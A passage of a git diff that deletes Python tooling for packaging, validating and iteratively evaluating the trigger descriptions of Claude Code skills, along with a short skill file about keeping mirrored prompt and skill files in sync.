to overfit to the specific cases you're seeing. So what I DON'T want you to do is produce an ever-expanding list of specific queries that this skill should or shouldn't trigger for. Instead, try to generalize from the failures to broader categories of user intent and situations where this skill would be useful or not useful. The reason for this is twofold: - -1. Avoid overfitting -2. The list might get loooong and it's injected into ALL queries and there might be a lot of skills, so we don't want to blow too much space on any given description. - -Concretely, your description should not be more than about 100-200 words, even if that comes at the cost of accuracy. There is a hard limit of 1024 characters — descriptions over that will be truncated, so stay comfortably under it. - -Here are some tips that we've found to work well in writing these descriptions: -- The skill should be phrased in the imperative -- "Use this skill for" rather than "this skill does" -- The skill description should focus on the user's intent, what they are trying to achieve, vs. the implementation details of how the skill works. -- The description competes with other skills for Claude's attention — make it distinctive and immediately recognizable. -- If you're getting lots of failures after repeated attempts, change things up. Try different sentence structures or wordings. - -I'd encourage you to be creative and mix up the style in different iterations since you'll have multiple opportunities to try different approaches and we'll just grab the highest-scoring one at the end. - -Please respond with only the new description text in tags, nothing else.""" - - text = _call_claude(prompt, model) - - match = re.search(r"(.*?)", text, re.DOTALL) - description = match.group(1).strip().strip('"') if match else text.strip().strip('"') - - transcript: dict = { - "iteration": iteration, - "prompt": prompt, - "response": text, - "parsed_description": description, - "char_count": len(description), - "over_limit": len(description) > 1024, - } - - # Safety net: the prompt already states the 1024-char hard limit, but if - # the model blew past it anyway, make one fresh single-turn call that - # quotes the too-long version and asks for a shorter rewrite. (The old - # SDK path did this as a true multi-turn; `claude -p` is one-shot, so we - # inline the prior output into the new prompt instead.) - if len(description) > 1024: - shorten_prompt = ( - f"{prompt}\n\n" - f"---\n\n" - f"A previous attempt produced this description, which at " - f"{len(description)} characters is over the 1024-character hard limit:\n\n" - f'"{description}"\n\n' - f"Rewrite it to be under 1024 characters while keeping the most " - f"important trigger words and intent coverage. Respond with only " - f"the new description in tags." - ) - shorten_text = _call_claude(shorten_prompt, model) - match = re.search(r"(.*?)", shorten_text, re.DOTALL) - shortened = match.group(1).strip().strip('"') if match else shorten_text.strip().strip('"') - - transcript["rewrite_prompt"] = shorten_prompt - transcript["rewrite_response"] = shorten_text - transcript["rewrite_description"] = shortened - transcript["rewrite_char_count"] = len(shortened) - description = shortened - - transcript["final_description"] = description - - if log_dir: - log_dir.mkdir(parents=True, exist_ok=True) - log_file = log_dir / f"improve_iter_{iteration or 'unknown'}.json" - log_file.write_text(json.dumps(transcript, indent=2)) - - return description - - -def main(): - parser = argparse.ArgumentParser(description="Improve a skill description based on eval results") - parser.add_argument("--eval-results", required=True, help="Path to eval results JSON (from run_eval.py)") - parser.add_argument("--skill-path", required=True, help="Path to skill directory") - parser.add_argument("--history", default=None, help="Path to history JSON (previous attempts)") - parser.add_argument("--model", required=True, help="Model for improvement") - parser.add_argument("--verbose", action="store_true", help="Print thinking to stderr") - args = parser.parse_args() - - skill_path = Path(args.skill_path) - if not (skill_path / "SKILL.md").exists(): - print(f"Error: No SKILL.md found at {skill_path}", file=sys.stderr) - sys.exit(1) - - eval_results = json.loads(Path(args.eval_results).read_text()) - history = [] - if args.history: - history = json.loads(Path(args.history).read_text()) - - name, _, content = parse_skill_md(skill_path) - current_description = eval_results["description"] - - if args.verbose: - print(f"Current: {current_description}", file=sys.stderr) - print(f"Score: {eval_results['summary']['passed']}/{eval_results['summary']['total']}", file=sys.stderr) - - new_description = improve_description( - skill_name=name, - skill_content=content, - current_description=current_description, - eval_results=eval_results, - history=history, - model=args.model, - ) - - if args.verbose: - print(f"Improved: {new_description}", file=sys.stderr) - - # Output as JSON with both the new description and updated history - output = { - "description": new_description, - "history": history + [{ - "description": current_description, - "passed": eval_results["summary"]["passed"], - "failed": eval_results["summary"]["failed"], - "total": eval_results["summary"]["total"], - "results": eval_results["results"], - }], - } - print(json.dumps(output, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/scripts/package_skill.py b/.claude/skills/skill-creator/scripts/package_skill.py deleted file mode 100755 index f48eac44..00000000 --- a/.claude/skills/skill-creator/scripts/package_skill.py +++ /dev/null @@ -1,136 +0,0 @@ -#!/usr/bin/env python3 -""" -Skill Packager - Creates a distributable .skill file of a skill folder - -Usage: - python utils/package_skill.py [output-directory] - -Example: - python utils/package_skill.py skills/public/my-skill - python utils/package_skill.py skills/public/my-skill ./dist -""" - -import fnmatch -import sys -import zipfile -from pathlib import Path -from scripts.quick_validate import validate_skill - -# Patterns to exclude when packaging skills. -EXCLUDE_DIRS = {"__pycache__", "node_modules"} -EXCLUDE_GLOBS = {"*.pyc"} -EXCLUDE_FILES = {".DS_Store"} -# Directories excluded only at the skill root (not when nested deeper). -ROOT_EXCLUDE_DIRS = {"evals"} - - -def should_exclude(rel_path: Path) -> bool: - """Check if a path should be excluded from packaging.""" - parts = rel_path.parts - if any(part in EXCLUDE_DIRS for part in parts): - return True - # rel_path is relative to skill_path.parent, so parts[0] is the skill - # folder name and parts[1] (if present) is the first subdir. - if len(parts) > 1 and parts[1] in ROOT_EXCLUDE_DIRS: - return True - name = rel_path.name - if name in EXCLUDE_FILES: - return True - return any(fnmatch.fnmatch(name, pat) for pat in EXCLUDE_GLOBS) - - -def package_skill(skill_path, output_dir=None): - """ - Package a skill folder into a .skill file. - - Args: - skill_path: Path to the skill folder - output_dir: Optional output directory for the .skill file (defaults to current directory) - - Returns: - Path to the created .skill file, or None if error - """ - skill_path = Path(skill_path).resolve() - - # Validate skill folder exists - if not skill_path.exists(): - print(f"❌ Error: Skill folder not found: {skill_path}") - return None - - if not skill_path.is_dir(): - print(f"❌ Error: Path is not a directory: {skill_path}") - return None - - # Validate SKILL.md exists - skill_md = skill_path / "SKILL.md" - if not skill_md.exists(): - print(f"❌ Error: SKILL.md not found in {skill_path}") - return None - - # Run validation before packaging - print("🔍 Validating skill...") - valid, message = validate_skill(skill_path) - if not valid: - print(f"❌ Validation failed: {message}") - print(" Please fix the validation errors before packaging.") - return None - print(f"✅ {message}\n") - - # Determine output location - skill_name = skill_path.name - if output_dir: - output_path = Path(output_dir).resolve() - output_path.mkdir(parents=True, exist_ok=True) - else: - output_path = Path.cwd() - - skill_filename = output_path / f"{skill_name}.skill" - - # Create the .skill file (zip format) - try: - with zipfile.ZipFile(skill_filename, 'w', zipfile.ZIP_DEFLATED) as zipf: - # Walk through the skill directory, excluding build artifacts - for file_path in skill_path.rglob('*'): - if not file_path.is_file(): - continue - arcname = file_path.relative_to(skill_path.parent) - if should_exclude(arcname): - print(f" Skipped: {arcname}") - continue - zipf.write(file_path, arcname) - print(f" Added: {arcname}") - - print(f"\n✅ Successfully packaged skill to: {skill_filename}") - return skill_filename - - except Exception as e: - print(f"❌ Error creating .skill file: {e}") - return None - - -def main(): - if len(sys.argv) < 2: - print("Usage: python utils/package_skill.py [output-directory]") - print("\nExample:") - print(" python utils/package_skill.py skills/public/my-skill") - print(" python utils/package_skill.py skills/public/my-skill ./dist") - sys.exit(1) - - skill_path = sys.argv[1] - output_dir = sys.argv[2] if len(sys.argv) > 2 else None - - print(f"📦 Packaging skill: {skill_path}") - if output_dir: - print(f" Output directory: {output_dir}") - print() - - result = package_skill(skill_path, output_dir) - - if result: - sys.exit(0) - else: - sys.exit(1) - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/scripts/quick_validate.py b/.claude/skills/skill-creator/scripts/quick_validate.py deleted file mode 100755 index ed8e1ddd..00000000 --- a/.claude/skills/skill-creator/scripts/quick_validate.py +++ /dev/null @@ -1,103 +0,0 @@ -#!/usr/bin/env python3 -""" -Quick validation script for skills - minimal version -""" - -import sys -import os -import re -import yaml -from pathlib import Path - -def validate_skill(skill_path): - """Basic validation of a skill""" - skill_path = Path(skill_path) - - # Check SKILL.md exists - skill_md = skill_path / 'SKILL.md' - if not skill_md.exists(): - return False, "SKILL.md not found" - - # Read and validate frontmatter - content = skill_md.read_text() - if not content.startswith('---'): - return False, "No YAML frontmatter found" - - # Extract frontmatter - match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL) - if not match: - return False, "Invalid frontmatter format" - - frontmatter_text = match.group(1) - - # Parse YAML frontmatter - try: - frontmatter = yaml.safe_load(frontmatter_text) - if not isinstance(frontmatter, dict): - return False, "Frontmatter must be a YAML dictionary" - except yaml.YAMLError as e: - return False, f"Invalid YAML in frontmatter: {e}" - - # Define allowed properties - ALLOWED_PROPERTIES = {'name', 'description', 'license', 'allowed-tools', 'metadata', 'compatibility'} - - # Check for unexpected properties (excluding nested keys under metadata) - unexpected_keys = set(frontmatter.keys()) - ALLOWED_PROPERTIES - if unexpected_keys: - return False, ( - f"Unexpected key(s) in SKILL.md frontmatter: {', '.join(sorted(unexpected_keys))}. " - f"Allowed properties are: {', '.join(sorted(ALLOWED_PROPERTIES))}" - ) - - # Check required fields - if 'name' not in frontmatter: - return False, "Missing 'name' in frontmatter" - if 'description' not in frontmatter: - return False, "Missing 'description' in frontmatter" - - # Extract name for validation - name = frontmatter.get('name', '') - if not isinstance(name, str): - return False, f"Name must be a string, got {type(name).__name__}" - name = name.strip() - if name: - # Check naming convention (kebab-case: lowercase with hyphens) - if not re.match(r'^[a-z0-9-]+$', name): - return False, f"Name '{name}' should be kebab-case (lowercase letters, digits, and hyphens only)" - if name.startswith('-') or name.endswith('-') or '--' in name: - return False, f"Name '{name}' cannot start/end with hyphen or contain consecutive hyphens" - # Check name length (max 64 characters per spec) - if len(name) > 64: - return False, f"Name is too long ({len(name)} characters). Maximum is 64 characters." - - # Extract and validate description - description = frontmatter.get('description', '') - if not isinstance(description, str): - return False, f"Description must be a string, got {type(description).__name__}" - description = description.strip() - if description: - # Check for angle brackets - if '<' in description or '>' in description: - return False, "Description cannot contain angle brackets (< or >)" - # Check description length (max 1024 characters per spec) - if len(description) > 1024: - return False, f"Description is too long ({len(description)} characters). Maximum is 1024 characters." - - # Validate compatibility field if present (optional) - compatibility = frontmatter.get('compatibility', '') - if compatibility: - if not isinstance(compatibility, str): - return False, f"Compatibility must be a string, got {type(compatibility).__name__}" - if len(compatibility) > 500: - return False, f"Compatibility is too long ({len(compatibility)} characters). Maximum is 500 characters." - - return True, "Skill is valid!" - -if __name__ == "__main__": - if len(sys.argv) != 2: - print("Usage: python quick_validate.py ") - sys.exit(1) - - valid, message = validate_skill(sys.argv[1]) - print(message) - sys.exit(0 if valid else 1) \ No newline at end of file diff --git a/.claude/skills/skill-creator/scripts/run_eval.py b/.claude/skills/skill-creator/scripts/run_eval.py deleted file mode 100755 index e58c70be..00000000 --- a/.claude/skills/skill-creator/scripts/run_eval.py +++ /dev/null @@ -1,310 +0,0 @@ -#!/usr/bin/env python3 -"""Run trigger evaluation for a skill description. - -Tests whether a skill's description causes Claude to trigger (read the skill) -for a set of queries. Outputs results as JSON. -""" - -import argparse -import json -import os -import select -import subprocess -import sys -import time -import uuid -from concurrent.futures import ProcessPoolExecutor, as_completed -from pathlib import Path - -from scripts.utils import parse_skill_md - - -def find_project_root() -> Path: - """Find the project root by walking up from cwd looking for .claude/. - - Mimics how Claude Code discovers its project root, so the command file - we create ends up where claude -p will look for it. - """ - current = Path.cwd() - for parent in [current, *current.parents]: - if (parent / ".claude").is_dir(): - return parent - return current - - -def run_single_query( - query: str, - skill_name: str, - skill_description: str, - timeout: int, - project_root: str, - model: str | None = None, -) -> bool: - """Run a single query and return whether the skill was triggered. - - Creates a command file in .claude/commands/ so it appears in Claude's - available_skills list, then runs `claude -p` with the raw query. - Uses --include-partial-messages to detect triggering early from - stream events (content_block_start) rather than waiting for the - full assistant message, which only arrives after tool execution. - """ - unique_id = uuid.uuid4().hex[:8] - clean_name = f"{skill_name}-skill-{unique_id}" - project_commands_dir = Path(project_root) / ".claude" / "commands" - command_file = project_commands_dir / f"{clean_name}.md" - - try: - project_commands_dir.mkdir(parents=True, exist_ok=True) - # Use YAML block scalar to avoid breaking on quotes in description - indented_desc = "\n ".join(skill_description.split("\n")) - command_content = ( - f"---\n" - f"description: |\n" - f" {indented_desc}\n" - f"---\n\n" - f"# {skill_name}\n\n" - f"This skill handles: {skill_description}\n" - ) - command_file.write_text(command_content) - - cmd = [ - "claude", - "-p", query, - "--output-format", "stream-json", - "--verbose", - "--include-partial-messages", - ] - if model: - cmd.extend(["--model", model]) - - # Remove CLAUDECODE env var to allow nesting claude -p inside a - # Claude Code session. The guard is for interactive terminal conflicts; - # programmatic subprocess usage is safe. - env = {k: v for k, v in os.environ.items() if k != "CLAUDECODE"} - - process = subprocess.Popen( - cmd, - stdout=subprocess.PIPE, - stderr=subprocess.DEVNULL, - cwd=project_root, - env=env, - ) - - triggered = False - start_time = time.time() - buffer = "" - # Track state for stream event detection - pending_tool_name = None - accumulated_json = "" - - try: - while time.time() - start_time < timeout: - if process.poll() is not None: - remaining = process.stdout.read() - if remaining: - buffer += remaining.decode("utf-8", errors="replace") - break - - ready, _, _ = select.select([process.stdout], [], [], 1.0) - if not ready: - continue - - chunk = os.read(process.stdout.fileno(), 8192) - if not chunk: - break - buffer += chunk.decode("utf-8", errors="replace") - - while "\n" in buffer: - line, buffer = buffer.split("\n", 1) - line = line.strip() - if not line: - continue - - try: - event = json.loads(line) - except json.JSONDecodeError: - continue - - # Early detection via stream events - if event.get("type") == "stream_event": - se = event.get("event", {}) - se_type = se.get("type", "") - - if se_type == "content_block_start": - cb = se.get("content_block", {}) - if cb.get("type") == "tool_use": - tool_name = cb.get("name", "") - if tool_name in ("Skill", "Read"): - pending_tool_name = tool_name - accumulated_json = "" - else: - return False - - elif se_type == "content_block_delta" and pending_tool_name: - delta = se.get("delta", {}) - if delta.get("type") == "input_json_delta": - accumulated_json += delta.get("partial_json", "") - if clean_name in accumulated_json: - return True - - elif se_type in ("content_block_stop", "message_stop"): - if pending_tool_name: - return clean_name in accumulated_json - if se_type == "message_stop": - return False - - # Fallback: full assistant message - elif event.get("type") == "assistant": - message = event.get("message", {}) - for content_item in message.get("content", []): - if content_item.get("type") != "tool_use": - continue - tool_name = content_item.get("name", "") - tool_input = content_item.get("input", {}) - if tool_name == "Skill" and clean_name in tool_input.get("skill", ""): - triggered = True - elif tool_name == "Read" and clean_name in tool_input.get("file_path", ""): - triggered = True - return triggered - - elif event.get("type") == "result": - return triggered - finally: - # Clean up process on any exit path (return, exception, timeout) - if process.poll() is None: - process.kill() - process.wait() - - return triggered - finally: - if command_file.exists(): - command_file.unlink() - - -def run_eval( - eval_set: list[dict], - skill_name: str, - description: str, - num_workers: int, - timeout: int, - project_root: Path, - runs_per_query: int = 1, - trigger_threshold: float = 0.5, - model: str | None = None, -) -> dict: - """Run the full eval set and return results.""" - results = [] - - with ProcessPoolExecutor(max_workers=num_workers) as executor: - future_to_info = {} - for item in eval_set: - for run_idx in range(runs_per_query): - future = executor.submit( - run_single_query, - item["query"], - skill_name, - description, - timeout, - str(project_root), - model, - ) - future_to_info[future] = (item, run_idx) - - query_triggers: dict[str, list[bool]] = {} - query_items: dict[str, dict] = {} - for future in as_completed(future_to_info): - item, _ = future_to_info[future] - query = item["query"] - query_items[query] = item - if query not in query_triggers: - query_triggers[query] = [] - try: - query_triggers[query].append(future.result()) - except Exception as e: - print(f"Warning: query failed: {e}", file=sys.stderr) - query_triggers[query].append(False) - - for query, triggers in query_triggers.items(): - item = query_items[query] - trigger_rate = sum(triggers) / len(triggers) - should_trigger = item["should_trigger"] - if should_trigger: - did_pass = trigger_rate >= trigger_threshold - else: - did_pass = trigger_rate < trigger_threshold - results.append({ - "query": query, - "should_trigger": should_trigger, - "trigger_rate": trigger_rate, - "triggers": sum(triggers), - "runs": len(triggers), - "pass": did_pass, - }) - - passed = sum(1 for r in results if r["pass"]) - total = len(results) - - return { - "skill_name": skill_name, - "description": description, - "results": results, - "summary": { - "total": total, - "passed": passed, - "failed": total - passed, - }, - } - - -def main(): - parser = argparse.ArgumentParser(description="Run trigger evaluation for a skill description") - parser.add_argument("--eval-set", required=True, help="Path to eval set JSON file") - parser.add_argument("--skill-path", required=True, help="Path to skill directory") - parser.add_argument("--description", default=None, help="Override description to test") - parser.add_argument("--num-workers", type=int, default=10, help="Number of parallel workers") - parser.add_argument("--timeout", type=int, default=30, help="Timeout per query in seconds") - parser.add_argument("--runs-per-query", type=int, default=3, help="Number of runs per query") - parser.add_argument("--trigger-threshold", type=float, default=0.5, help="Trigger rate threshold") - parser.add_argument("--model", default=None, help="Model to use for claude -p (default: user's configured model)") - parser.add_argument("--verbose", action="store_true", help="Print progress to stderr") - args = parser.parse_args() - - eval_set = json.loads(Path(args.eval_set).read_text()) - skill_path = Path(args.skill_path) - - if not (skill_path / "SKILL.md").exists(): - print(f"Error: No SKILL.md found at {skill_path}", file=sys.stderr) - sys.exit(1) - - name, original_description, content = parse_skill_md(skill_path) - description = args.description or original_description - project_root = find_project_root() - - if args.verbose: - print(f"Evaluating: {description}", file=sys.stderr) - - output = run_eval( - eval_set=eval_set, - skill_name=name, - description=description, - num_workers=args.num_workers, - timeout=args.timeout, - project_root=project_root, - runs_per_query=args.runs_per_query, - trigger_threshold=args.trigger_threshold, - model=args.model, - ) - - if args.verbose: - summary = output["summary"] - print(f"Results: {summary['passed']}/{summary['total']} passed", file=sys.stderr) - for r in output["results"]: - status = "PASS" if r["pass"] else "FAIL" - rate_str = f"{r['triggers']}/{r['runs']}" - print(f" [{status}] rate={rate_str} expected={r['should_trigger']}: {r['query'][:70]}", file=sys.stderr) - - print(json.dumps(output, indent=2)) - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/scripts/run_loop.py b/.claude/skills/skill-creator/scripts/run_loop.py deleted file mode 100755 index 30a263d6..00000000 --- a/.claude/skills/skill-creator/scripts/run_loop.py +++ /dev/null @@ -1,328 +0,0 @@ -#!/usr/bin/env python3 -"""Run the eval + improve loop until all pass or max iterations reached. - -Combines run_eval.py and improve_description.py in a loop, tracking history -and returning the best description found. Supports train/test split to prevent -overfitting. -""" - -import argparse -import json -import random -import sys -import tempfile -import time -import webbrowser -from pathlib import Path - -from scripts.generate_report import generate_html -from scripts.improve_description import improve_description -from scripts.run_eval import find_project_root, run_eval -from scripts.utils import parse_skill_md - - -def split_eval_set(eval_set: list[dict], holdout: float, seed: int = 42) -> tuple[list[dict], list[dict]]: - """Split eval set into train and test sets, stratified by should_trigger.""" - random.seed(seed) - - # Separate by should_trigger - trigger = [e for e in eval_set if e["should_trigger"]] - no_trigger = [e for e in eval_set if not e["should_trigger"]] - - # Shuffle each group - random.shuffle(trigger) - random.shuffle(no_trigger) - - # Calculate split points - n_trigger_test = max(1, int(len(trigger) * holdout)) - n_no_trigger_test = max(1, int(len(no_trigger) * holdout)) - - # Split - test_set = trigger[:n_trigger_test] + no_trigger[:n_no_trigger_test] - train_set = trigger[n_trigger_test:] + no_trigger[n_no_trigger_test:] - - return train_set, test_set - - -def run_loop( - eval_set: list[dict], - skill_path: Path, - description_override: str | None, - num_workers: int, - timeout: int, - max_iterations: int, - runs_per_query: int, - trigger_threshold: float, - holdout: float, - model: str, - verbose: bool, - live_report_path: Path | None = None, - log_dir: Path | None = None, -) -> dict: - """Run the eval + improvement loop.""" - project_root = find_project_root() - name, original_description, content = parse_skill_md(skill_path) - current_description = description_override or original_description - - # Split into train/test if holdout > 0 - if holdout > 0: - train_set, test_set = split_eval_set(eval_set, holdout) - if verbose: - print(f"Split: {len(train_set)} train, {len(test_set)} test (holdout={holdout})", file=sys.stderr) - else: - train_set = eval_set - test_set = [] - - history = [] - exit_reason = "unknown" - - for iteration in range(1, max_iterations + 1): - if verbose: - print(f"\n{'='*60}", file=sys.stderr) - print(f"Iteration {iteration}/{max_iterations}", file=sys.stderr) - print(f"Description: {current_description}", file=sys.stderr) - print(f"{'='*60}", file=sys.stderr) - - # Evaluate train + test together in one batch for parallelism - all_queries = train_set + test_set - t0 = time.time() - all_results = run_eval( - eval_set=all_queries, - skill_name=name, - description=current_description, - num_workers=num_workers, - timeout=timeout, - project_root=project_root, - runs_per_query=runs_per_query, - trigger_threshold=trigger_threshold, - model=model, - ) - eval_elapsed = time.time() - t0 - - # Split results back into train/test by matching queries - train_queries_set = {q["query"] for q in train_set} - train_result_list = [r for r in all_results["results"] if r["query"] in train_queries_set] - test_result_list = [r for r in all_results["results"] if r["query"] not in train_queries_set] - - train_passed = sum(1 for r in train_result_list if r["pass"]) - train_total = len(train_result_list) - train_summary = {"passed": train_passed, "failed": train_total - train_passed, "total": train_total} - train_results = {"results": train_result_list, "summary": train_summary} - - if test_set: - test_passed = sum(1 for r in test_result_list if r["pass"]) - test_total = len(test_result_list) - test_summary = {"passed": test_passed, "failed": test_total - test_passed, "total": test_total} - test_results = {"results": test_result_list, "summary": test_summary} - else: - test_results = None - test_summary = None - - history.append({ - "iteration": iteration, - "description": current_description, - "train_passed": train_summary["passed"], - "train_failed": train_summary["failed"], - "train_total": train_summary["total"], - "train_results": train_results["results"], - "test_passed": test_summary["passed"] if test_summary else None, - "test_failed": test_summary["failed"] if test_summary else None, - "test_total": test_summary["total"] if test_summary else None, - "test_results": test_results["results"] if test_results else None, - # For backward compat with report generator - "passed": train_summary["passed"], - "failed": train_summary["failed"], - "total": train_summary["total"], - "results": train_results["results"], - }) - - # Write live report if path provided - if live_report_path: - partial_output = { - "original_description": original_description, - "best_description": current_description, - "best_score": "in progress", - "iterations_run": len(history), - "holdout": holdout, - "train_size": len(train_set), - "test_size": len(test_set), - "history": history, - } - live_report_path.write_text(generate_html(partial_output, auto_refresh=True, skill_name=name)) - - if verbose: - def print_eval_stats(label, results, elapsed): - pos = [r for r in results if r["should_trigger"]] - neg = [r for r in results if not r["should_trigger"]] - tp = sum(r["triggers"] for r in pos) - pos_runs = sum(r["runs"] for r in pos) - fn = pos_runs - tp - fp = sum(r["triggers"] for r in neg) - neg_runs = sum(r["runs"] for r in neg) - tn = neg_runs - fp - total = tp + tn + fp + fn - precision = tp / (tp + fp) if (tp + fp) > 0 else 1.0 - recall = tp / (tp + fn) if (tp + fn) > 0 else 1.0 - accuracy = (tp + tn) / total if total > 0 else 0.0 - print(f"{label}: {tp+tn}/{total} correct, precision={precision:.0%} recall={recall:.0%} accuracy={accuracy:.0%} ({elapsed:.1f}s)", file=sys.stderr) - for r in results: - status = "PASS" if r["pass"] else "FAIL" - rate_str = f"{r['triggers']}/{r['runs']}" - print(f" [{status}] rate={rate_str} expected={r['should_trigger']}: {r['query'][:60]}", file=sys.stderr) - - print_eval_stats("Train", train_results["results"], eval_elapsed) - if test_summary: - print_eval_stats("Test ", test_results["results"], 0) - - if train_summary["failed"] == 0: - exit_reason = f"all_passed (iteration {iteration})" - if verbose: - print(f"\nAll train queries passed on iteration {iteration}!", file=sys.stderr) - break - - if iteration == max_iterations: - exit_reason = f"max_iterations ({max_iterations})" - if verbose: - print(f"\nMax iterations reached ({max_iterations}).", file=sys.stderr) - break - - # Improve the description based on train results - if verbose: - print(f"\nImproving description...", file=sys.stderr) - - t0 = time.time() - # Strip test scores from history so improvement model can't see them - blinded_history = [ - {k: v for k, v in h.items() if not k.startswith("test_")} - for h in history - ] - new_description = improve_description( - skill_name=name, - skill_content=content, - current_description=current_description, - eval_results=train_results, - history=blinded_history, - model=model, - log_dir=log_dir, - iteration=iteration, - ) - improve_elapsed = time.time() - t0 - - if verbose: - print(f"Proposed ({improve_elapsed:.1f}s): {new_description}", file=sys.stderr) - - current_description = new_description - - # Find the best iteration by TEST score (or train if no test set) - if test_set: - best = max(history, key=lambda h: h["test_passed"] or 0) - best_score = f"{best['test_passed']}/{best['test_total']}" - else: - best = max(history, key=lambda h: h["train_passed"]) - best_score = f"{best['train_passed']}/{best['train_total']}" - - if verbose: - print(f"\nExit reason: {exit_reason}", file=sys.stderr) - print(f"Best score: {best_score} (iteration {best['iteration']})", file=sys.stderr) - - return { - "exit_reason": exit_reason, - "original_description": original_description, - "best_description": best["description"], - "best_score": best_score, - "best_train_score": f"{best['train_passed']}/{best['train_total']}", - "best_test_score": f"{best['test_passed']}/{best['test_total']}" if test_set else None, - "final_description": current_description, - "iterations_run": len(history), - "holdout": holdout, - "train_size": len(train_set), - "test_size": len(test_set), - "history": history, - } - - -def main(): - parser = argparse.ArgumentParser(description="Run eval + improve loop") - parser.add_argument("--eval-set", required=True, help="Path to eval set JSON file") - parser.add_argument("--skill-path", required=True, help="Path to skill directory") - parser.add_argument("--description", default=None, help="Override starting description") - parser.add_argument("--num-workers", type=int, default=10, help="Number of parallel workers") - parser.add_argument("--timeout", type=int, default=30, help="Timeout per query in seconds") - parser.add_argument("--max-iterations", type=int, default=5, help="Max improvement iterations") - parser.add_argument("--runs-per-query", type=int, default=3, help="Number of runs per query") - parser.add_argument("--trigger-threshold", type=float, default=0.5, help="Trigger rate threshold") - parser.add_argument("--holdout", type=float, default=0.4, help="Fraction of eval set to hold out for testing (0 to disable)") - parser.add_argument("--model", required=True, help="Model for improvement") - parser.add_argument("--verbose", action="store_true", help="Print progress to stderr") - parser.add_argument("--report", default="auto", help="Generate HTML report at this path (default: 'auto' for temp file, 'none' to disable)") - parser.add_argument("--results-dir", default=None, help="Save all outputs (results.json, report.html, log.txt) to a timestamped subdirectory here") - args = parser.parse_args() - - eval_set = json.loads(Path(args.eval_set).read_text()) - skill_path = Path(args.skill_path) - - if not (skill_path / "SKILL.md").exists(): - print(f"Error: No SKILL.md found at {skill_path}", file=sys.stderr) - sys.exit(1) - - name, _, _ = parse_skill_md(skill_path) - - # Set up live report path - if args.report != "none": - if args.report == "auto": - timestamp = time.strftime("%Y%m%d_%H%M%S") - live_report_path = Path(tempfile.gettempdir()) / f"skill_description_report_{skill_path.name}_{timestamp}.html" - else: - live_report_path = Path(args.report) - # Open the report immediately so the user can watch - live_report_path.write_text("

Starting optimization loop...

") - webbrowser.open(str(live_report_path)) - else: - live_report_path = None - - # Determine output directory (create before run_loop so logs can be written) - if args.results_dir: - timestamp = time.strftime("%Y-%m-%d_%H%M%S") - results_dir = Path(args.results_dir) / timestamp - results_dir.mkdir(parents=True, exist_ok=True) - else: - results_dir = None - - log_dir = results_dir / "logs" if results_dir else None - - output = run_loop( - eval_set=eval_set, - skill_path=skill_path, - description_override=args.description, - num_workers=args.num_workers, - timeout=args.timeout, - max_iterations=args.max_iterations, - runs_per_query=args.runs_per_query, - trigger_threshold=args.trigger_threshold, - holdout=args.holdout, - model=args.model, - verbose=args.verbose, - live_report_path=live_report_path, - log_dir=log_dir, - ) - - # Save JSON output - json_output = json.dumps(output, indent=2) - print(json_output) - if results_dir: - (results_dir / "results.json").write_text(json_output) - - # Write final HTML report (without auto-refresh) - if live_report_path: - live_report_path.write_text(generate_html(output, auto_refresh=False, skill_name=name)) - print(f"\nReport: {live_report_path}", file=sys.stderr) - - if results_dir and live_report_path: - (results_dir / "report.html").write_text(generate_html(output, auto_refresh=False, skill_name=name)) - - if results_dir: - print(f"Results saved to: {results_dir}", file=sys.stderr) - - -if __name__ == "__main__": - main() diff --git a/.claude/skills/skill-creator/scripts/utils.py b/.claude/skills/skill-creator/scripts/utils.py deleted file mode 100644 index 51b6a07d..00000000 --- a/.claude/skills/skill-creator/scripts/utils.py +++ /dev/null @@ -1,47 +0,0 @@ -"""Shared utilities for skill-creator scripts.""" - -from pathlib import Path - - - -def parse_skill_md(skill_path: Path) -> tuple[str, str, str]: - """Parse a SKILL.md file, returning (name, description, full_content).""" - content = (skill_path / "SKILL.md").read_text() - lines = content.split("\n") - - if lines[0].strip() != "---": - raise ValueError("SKILL.md missing frontmatter (no opening ---)") - - end_idx = None - for i, line in enumerate(lines[1:], start=1): - if line.strip() == "---": - end_idx = i - break - - if end_idx is None: - raise ValueError("SKILL.md missing frontmatter (no closing ---)") - - name = "" - description = "" - frontmatter_lines = lines[1:end_idx] - i = 0 - while i < len(frontmatter_lines): - line = frontmatter_lines[i] - if line.startswith("name:"): - name = line[len("name:"):].strip().strip('"').strip("'") - elif line.startswith("description:"): - value = line[len("description:"):].strip() - # Handle YAML multiline indicators (>, |, >-, |-) - if value in (">", "|", ">-", "|-"): - continuation_lines: list[str] = [] - i += 1 - while i < len(frontmatter_lines) and (frontmatter_lines[i].startswith(" ") or frontmatter_lines[i].startswith("\t")): - continuation_lines.append(frontmatter_lines[i].strip()) - i += 1 - description = " ".join(continuation_lines) - continue - else: - description = value.strip('"').strip("'") - i += 1 - - return name, description, content diff --git a/.claude/skills/sync-audit-prompts/SKILL.md b/.claude/skills/sync-audit-prompts/SKILL.md deleted file mode 100644 index dee0963d..00000000 --- a/.claude/skills/sync-audit-prompts/SKILL.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -name: sync-audit-prompts -description: Reconciles the mirrored prompt and skill pairs so their bodies match byte for byte. Use after editing any file under .github/prompts/ or .claude/skills/audit-*/, or when make -f .claude/Makefile sync-prompts reports the pairs out of sync. -argument-hint: '[to-skill | to-prompt; omit to check only]' -disable-model-invocation: true -allowed-tools: Bash(make -f .claude/Makefile sync-prompts*) Read Grep Glob ---- - -# Sync audit prompts - -Each audit prompt ships twice with a byte-identical body below the frontmatter: `.github/prompts/.prompt.md` for GitHub Copilot, and `.claude/skills//SKILL.md` for Claude Code and other agents. The obligation and its rationale are in [`prompt-skill-sync.md`](../../rules/prompt-skill-sync.md). - -Manual only, because propagating in the wrong direction overwrites the edit you just made. - -## Check first - -```bash -make -f .claude/Makefile sync-prompts -``` - -Exit 0 means every pair matches; report that and stop. - -## Then delegate - -On any divergence, hand the reconciliation to the `prompt-skill-sync` subagent, which holds the full procedure: establishing which half carries the intended edit, propagating mechanically, merging by hand when both halves changed, and auditing the shared body for what the byte check cannot catch. It reads both halves in its own context and returns a verdict rather than several hundred lines. - -The procedure lives in that one file on purpose. Restating it here would be a second hand-maintained copy of instructions about keeping hand-maintained copies in sync, with nothing checking this one. diff --git a/.claude/skills/typescript-code-and-test-standards/SKILL.md 